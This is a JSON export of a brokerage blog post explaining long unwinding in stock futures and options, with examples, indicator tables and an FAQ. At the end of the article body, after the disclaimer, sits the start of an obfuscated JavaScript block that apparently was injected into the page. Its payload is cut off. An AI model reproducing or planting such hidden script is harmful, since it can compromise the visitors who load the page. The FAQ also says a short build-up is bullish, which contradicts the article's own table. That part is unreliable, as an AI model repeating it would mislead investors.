{"id":6405,"date":"2026-03-23T06:14:30","date_gmt":"2026-03-23T12:44:30","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=6405"},"modified":"2026-03-23T06:14:30","modified_gmt":"2026-03-23T12:44:30","slug":"long-unwinding","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/long-unwinding\/","title":{"rendered":"What is Long Unwinding in Stock Market: Is Long Unwinding Good or Bad?"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/long-unwinding\/#What_is_Long_Unwinding_in_the_Stock_Market\" >What is Long Unwinding in the Stock Market?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/long-unwinding\/#Long_Unwinding_in_Option_Chain\" >Long Unwinding in Option Chain<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/long-unwinding\/#When_Does_Long_Unwinding_Happen_What_are_the_Indicators_of_Long_Unwinding\" >When Does Long Unwinding Happen? What are the Indicators of Long Unwinding?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/long-unwinding\/#Is_Long_Unwinding_Bearish_or_Bullish\" >Is Long Unwinding Bearish or Bullish?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/long-unwinding\/#What_Happens_After_Long_Unwinding\" >What Happens After Long Unwinding<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/long-unwinding\/#Long_Unwinding_is_Good_or_Bad_Lets_Find_Out\" >Long Unwinding is Good or Bad, Let&#8217;s Find Out!<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/long-unwinding\/#Long_Build-Up_vs_Long_Unwinding\" >Long Build-Up vs Long Unwinding<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/long-unwinding\/#Long_Build-Up_vs_Long_Unwinding_vs_Short_Covering_vs_Short_Buildup\" >Long Build-Up vs Long Unwinding vs Short Covering vs Short Buildup<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/long-unwinding\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/long-unwinding\/#Long_Unwinding_FAQs\" >Long Unwinding: FAQs<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/stock-market\/\">Stock Market<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>What is Long Unwinding in Stock Market: Is Long Unwinding Good or Bad?<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Have you ever wondered why traders suddenly decide to sell stocks they once believed would fetch them long-term returns? That&#8217;s something called long unwinding in the stock market.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It&#8217;s like hitting the rewind button on a long position. This reverse may be the result of shifts in market conditions and profit motives. It can also be due to a change in the individual investor\u2019s market outlook. But why does a trader prefer long unwinding? Does long winding mean bearish or bullish? And what happens after long unwinding?&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s understand everything about long unwinding.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_is_Long_Unwinding_in_the_Stock_Market\"><\/span>What is Long Unwinding in the Stock Market?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Long unwinding is a situation when traders sell their existing long positions, leading to a fall in both price and open interest. It usually signals weakening bullish sentiment and a potential short-term bearish trend.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In the Indian stock market, long unwinding is commonly observed in <a href=\"https:\/\/shoonya.com\/blog\/difference-between-the-futures-and-options\/\" type=\"link\" id=\"https:\/\/shoonya.com\/blog\/difference-between-the-futures-and-options\/\" target=\"_blank\" rel=\"noreferrer noopener\">futures and options<\/a> data, where traders exit positions due to profit booking, changing market outlook, or rising uncertainty.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Long Unwinding Meaning at a Glance<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Selling of previously bought positions<\/li>\n\n\n\n<li>Price starts falling<\/li>\n\n\n\n<li>Open Interest declines<\/li>\n\n\n\n<li>Indicates weakening bullish sentiment<\/li>\n\n\n\n<li>Common in F&amp;O markets<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">Long Unwinding Example<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Let us say there is a trader named Ravi.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A few months ago, Ravi bought 100 shares of XYZ Ltd. because he believed the company was doing well and its stock price would go up. This decision to purchase shares with the expectation of making a profit is called a &#8220;long&#8221; position.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Recently, the stock market has been a bit unpredictable. The prices of many stocks, including XYZ Ltd., have been fluctuating.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ravi, who initially thought the stock would rise, notices that the market conditions have changed.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In this scenario, Ravi might decide to reverse his earlier decision.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Instead of waiting for the stock to go up, he decides to sell his 100 shares of XYZ Ltd.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This action of selling off the shares he previously bought to close his position is what we refer to as &#8220;long unwinding in the stock market&#8221;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Long_Unwinding_in_Option_Chain\"><\/span>Long Unwinding in Option Chain<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In the options segment, &#8220;long unwinding&#8221; refers to a situation where investors or traders who previously held long positions (bought options) start closing those positions by selling them.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This action reduces the open interest, which is the total number of options contracts that haven&#8217;t been settled.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Long Unwinding in a Call Option<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Long unwinding in a call option <\/strong>occurs when traders close their long (purchased) positions, signalled by declining Open Interest and falling prices (<a href=\"https:\/\/shoonya.com\/blog\/ltp-in-share-market\/\" type=\"link\" id=\"https:\/\/shoonya.com\/blog\/ltp-in-share-market\/\" target=\"_blank\" rel=\"noreferrer noopener\">LTP<\/a>) for the option, indicating a bearish shift or profit booking.\u00a0<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It implies that market participants are exiting bets that the underlying asset&#8217;s price will rise, often leading to lower prices.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Long Unwinding in a Put Option<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Put unwinding means<\/strong> closing out existing long put positions by selling to close. It is identified by a falling put price and decreasing <a href=\"https:\/\/shoonya.com\/blog\/understanding-volume-open-interest-in-options\/\" type=\"link\" id=\"https:\/\/shoonya.com\/blog\/understanding-volume-open-interest-in-options\/\" target=\"_blank\" rel=\"noreferrer noopener\">Open Interest<\/a> (OI), and it typically signals a weakening of bearish sentiment in the market.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">When traders book profits or cut losses on their put positions, it often suggests a potential temporary upward trend or consolidation in the underlying asset.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"When_Does_Long_Unwinding_Happen_What_are_the_Indicators_of_Long_Unwinding\"><\/span>When Does Long Unwinding Happen? What are the Indicators of Long Unwinding?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Long unwinding is identified when traders exit previously bought positions, leading to a fall in both price and open interest.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Key indicators include:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Falling price of the stock or index<\/li>\n\n\n\n<li>Declining open interest (OI)<\/li>\n\n\n\n<li>High trading volume during price decline<\/li>\n\n\n\n<li>Rising put-call ratio (PCR)<\/li>\n\n\n\n<li>Weak buying interest in price rise<\/li>\n\n\n\n<li>Negative news or weakening fundamentals<\/li>\n\n\n\n<li>Bearish divergence in technical indicators<\/li>\n\n\n\n<li>Negative market breadth (more stocks falling than rising)<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">It signals weakening bullish sentiment and a potential short-term bearish trend.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Long Unwinding Indicators: What to Observe<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>What to Observe<\/strong><\/td><td><strong>What Happens<\/strong><\/td><td><strong>What It Means<\/strong><\/td><\/tr><tr><td>Price of the stock or future<\/td><td>Starts falling<\/td><td>Traders are selling, showing bearish sentiment<\/td><\/tr><tr><td>Open Interest (OI)<\/td><td>Starts decreasing<\/td><td>Positions are being closed, not created<\/td><\/tr><tr><td>Trading Volume<\/td><td>May increase or stay high<\/td><td>Many traders are actively exiting their positions<\/td><\/tr><tr><td>Overall Indication<\/td><td>Price falls + OI falls + volume is high<\/td><td>It usually means long positions are being exited \u2013 this is called long unwinding<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>Confused about <a href=\"https:\/\/shoonya.com\/blog\/bull-vs-bear\/\" type=\"link\" id=\"https:\/\/shoonya.com\/blog\/bull-vs-bear\/\" target=\"_blank\" rel=\"noreferrer noopener\">bullish and bearish markets<\/a>? Find out what they really mean!<\/em><\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Is_Long_Unwinding_Bearish_or_Bullish\"><\/span>Is Long Unwinding Bearish or Bullish?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Long unwinding is generally considered a bearish signal because it reflects selling pressure and declining confidence among traders.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, it is not always negative. In some cases, long unwinding may indicate:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Profit booking after a rally<\/li>\n\n\n\n<li>Temporary correction before a rebound<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">In most scenarios, long unwinding signals a short-term bearish trend.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Is Long Unwinding Always Bearish?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">No, long unwinding is not always bearish. While it is typically seen as a bearish signal because traders exit long positions, leading to price declines and reduced market confidence, it can also indicate profit booking, short-term consolidation, or a pause within an ongoing uptrend rather than a complete reversal.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_Happens_After_Long_Unwinding\"><\/span>What Happens After Long Unwinding<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">After long unwinding, the market typically sees a short-term price decline along with a fall in open interest, indicating that traders are exiting positions and bullish momentum is weakening.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Price correction: Selling pressure pushes prices lower<\/li>\n\n\n\n<li>Decline in open interest: Positions are closed, not created<\/li>\n\n\n\n<li>Increased volatility: Sudden exits cause sharp price movements<\/li>\n\n\n\n<li>Weakened momentum: Bullish sentiment starts fading<\/li>\n\n\n\n<li>Possible outcomes: The market may fall further, consolidate, or recover depending on demand and sentiment<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Long_Unwinding_is_Good_or_Bad_Lets_Find_Out\"><\/span>Long Unwinding is Good or Bad, Let&#8217;s Find Out!<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Long unwinding isn&#8217;t inherently good or bad; it&#8217;s more like a reflection of what&#8217;s happening in the market. There&#8217;s no clear &#8220;good&#8221; or &#8220;bad&#8221; label for long unwinding; it&#8217;s just a part of how the stock market works.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u2022&nbsp; For long holders, long unwinding can be good if it allows them to book profits or minimise losses.&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It can also be good if it creates a buying opportunity at a lower price level.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u2022&nbsp; For long holders, long unwinding can be bad if it erodes their capital or reduces their returns.&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It can also be negative if it indicates a shift in market trends or a decrease in confidence in the asset itself.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u2022&nbsp; For short sellers, long unwinding can be good if it lowers the price of the underlying asset and increases their profits.&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It can also be good if it confirms their bearish view or validates their analysis.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Long_Build-Up_vs_Long_Unwinding\"><\/span>Long Build-Up vs Long Unwinding<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">A long build-up is a bullish signal where rising prices along with increasing Open Interest indicate that traders are actively creating new long positions in anticipation of further upside. In contrast, long unwinding is generally a bearish or cautious signal where falling prices and declining Open Interest suggest that existing long positions are being closed, either to book profits or to reduce risk exposure.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Key Differences Between Long Build-up and Long Unwinding<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Factor<\/strong><\/td><td><strong>Long Build-up<\/strong><\/td><td><strong>Long Unwinding<\/strong><\/td><\/tr><tr><td>Market Sentiment<\/td><td>Optimistic, bullish outlook<\/td><td>Cautious to bearish, may indicate a correction<\/td><\/tr><tr><td>Open Interest (OI)<\/td><td>Increases as new positions are created (fresh money enters)<\/td><td>Decreases as positions are closed (money exits)<\/td><\/tr><tr><td>Price Movement<\/td><td>Prices rise alongside increasing demand<\/td><td>Prices fall as selling pressure increases<\/td><\/tr><tr><td>Trader Action<\/td><td>Buying and adding long positions<\/td><td>Selling and exiting existing long positions<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Long_Build-Up_vs_Long_Unwinding_vs_Short_Covering_vs_Short_Buildup\"><\/span>Long Build-Up vs Long Unwinding vs Short Covering vs Short Buildup<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Term<\/strong><\/td><td><strong>Definition<\/strong><\/td><td><strong>Price Change<\/strong><\/td><td><strong>Open Interest Change<\/strong><\/td><td><strong>Sentiment<\/strong><\/td><\/tr><tr><td><strong>Long Build-Up<\/strong><\/td><td>Buying more futures contracts, expecting prices to rise<\/td><td>Increase<\/td><td>Increase<\/td><td>Bullish<\/td><\/tr><tr><td><strong>Long Unwinding<\/strong><\/td><td>Selling existing futures contracts to book profits or cut losses<\/td><td>Decrease<\/td><td>Decrease<\/td><td>Bearish<\/td><\/tr><tr><td><strong>Short Covering<\/strong><\/td><td>Buying back futures contracts to close short positions<\/td><td>Increase<\/td><td>Decrease<\/td><td>Bullish<\/td><\/tr><tr><td><strong>Short Buildup<\/strong><\/td><td>Selling more futures contracts, expecting prices to fall<\/td><td>Decrease<\/td><td>Increase<\/td><td>Bearish<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span><strong>Conclusion<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This concludes all the basics of long unwinding and how it affects your trading and investing decisions. Long unwinding reflects market sentiment and can impact prices and stability. Whether good or bad depends on the investor&#8217;s perspective and market conditions.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"15-long-unwinding-faqs\"><span class=\"ez-toc-section\" id=\"Long_Unwinding_FAQs\"><\/span>Long Unwinding: FAQs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1747995036737\"><strong class=\"schema-faq-question\"><strong>1. Is put unwinding bullish or bearish?<\/strong><\/strong> <p class=\"schema-faq-answer\">Put unwinding is generally considered a bullish signal. It indicates a shift from bearish sentiment to neutral or bullish, causing upward pressure on underlying asset prices.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1747995128856\"><strong class=\"schema-faq-question\"><strong>2. What happens to the stock price after long unwinding?<\/strong><\/strong> <p class=\"schema-faq-answer\">Long unwinding is typically a bearish signal. It leads to a shift from bullish to neutral or bearish sentiment and causes downward pressure on stock prices as supply increases and demand decreases.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1747995129463\"><strong class=\"schema-faq-question\"><strong>3. Does long covering mean bullish or bearish<\/strong>?<\/strong> <p class=\"schema-faq-answer\">Long covering is often a bearish signal, indicating a lack of confidence or profit-taking among long holders. It results in downward pressure on underlying asset prices as supply increases and demand decreases.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1774267213063\"><strong class=\"schema-faq-question\"><strong>4. What are the risks of unwinding positions?<\/strong><\/strong> <p class=\"schema-faq-answer\">Unwinding can create sharp price drops due to increased selling pressure in the market. It may also lead to slippage, where trades execute at worse prices during volatile conditions.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1774267221143\"><strong class=\"schema-faq-question\"><strong>5. Is short build-up bullish?<\/strong><\/strong> <p class=\"schema-faq-answer\">Yes, a short buildup is bullish. It means traders are increasing short positions expecting the price to fall, but sometimes it can lead to a short squeeze, pushing prices up.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1774267232327\"><strong class=\"schema-faq-question\"><strong>6. What is the opposite of long unwinding?<\/strong><\/strong> <p class=\"schema-faq-answer\">The opposite of long unwinding is long buildup. Long buildup means traders are increasing their long positions, expecting the price to rise.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1774267243327\"><strong class=\"schema-faq-question\"><strong>7. What is long unwinding in trading?<\/strong><\/strong> <p class=\"schema-faq-answer\">Long unwinding happens when traders sell their existing buy positions to exit the market. It is usually seen when both price and open interest fall together, signalling weakening bullish sentiment.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1774267255408\"><strong class=\"schema-faq-question\"><strong>8. What is the 3 5 7 rule in trading?<\/strong><\/strong> <p class=\"schema-faq-answer\">The 3 5 7 rule means risking no more than 3 percent per trade, limiting total exposure to 5 percent of capital, and targeting at least 7 percent profit. It helps maintain disciplined risk management and consistent returns.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1774267266576\"><strong class=\"schema-faq-question\"><strong>9. What is put unwinding?<\/strong><\/strong> <p class=\"schema-faq-answer\">Unwinding happens when traders sell put options, indicating reduced bearish sentiment and a possible bullish shift.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark>: This content is for education and awareness purposes only and should not be considered investment advice or a recommendation. Investments in securities markets are subject to market risks. Read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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That&#8217;s something called long unwinding in the stock market.&nbsp; It&#8217;s like hitting the rewind button on a long position. This reverse may be the result of shifts in market conditions and profit motives. It can also &hellip; <a href=\"https:\/\/shoonya.com\/blog\/long-unwinding\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;What is Long Unwinding in Stock Market: Is Long Unwinding Good or Bad?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":16869,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[13],"tags":[3083,3089,3088,4333,4332,3086,3085,4331,7610,3084,7611,3082,9576,9577,3087],"class_list":["post-6405","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-stock-market","tag-is-long-unwinding-bullish-or-bearish","tag-long-build-up-vs-long-unwinding","tag-long-unwinding","tag-long-unwinding-in-call-option","tag-long-unwinding-in-option-chain","tag-long-unwinding-is-good-or-bad","tag-long-unwinding-meaning","tag-long-unwinding-meaning-in-stock-market","tag-long-unwinding-means","tag-long-unwinding-means-bullish-or-bearish","tag-put-unwinding-means","tag-what-happens-after-long-unwinding","tag-what-is-long-unwinding","tag-what-is-long-unwinding-in-stock-market","tag-what-is-short-covering-and-long-unwinding"],"acf":[],"yoast_head":"<!-- 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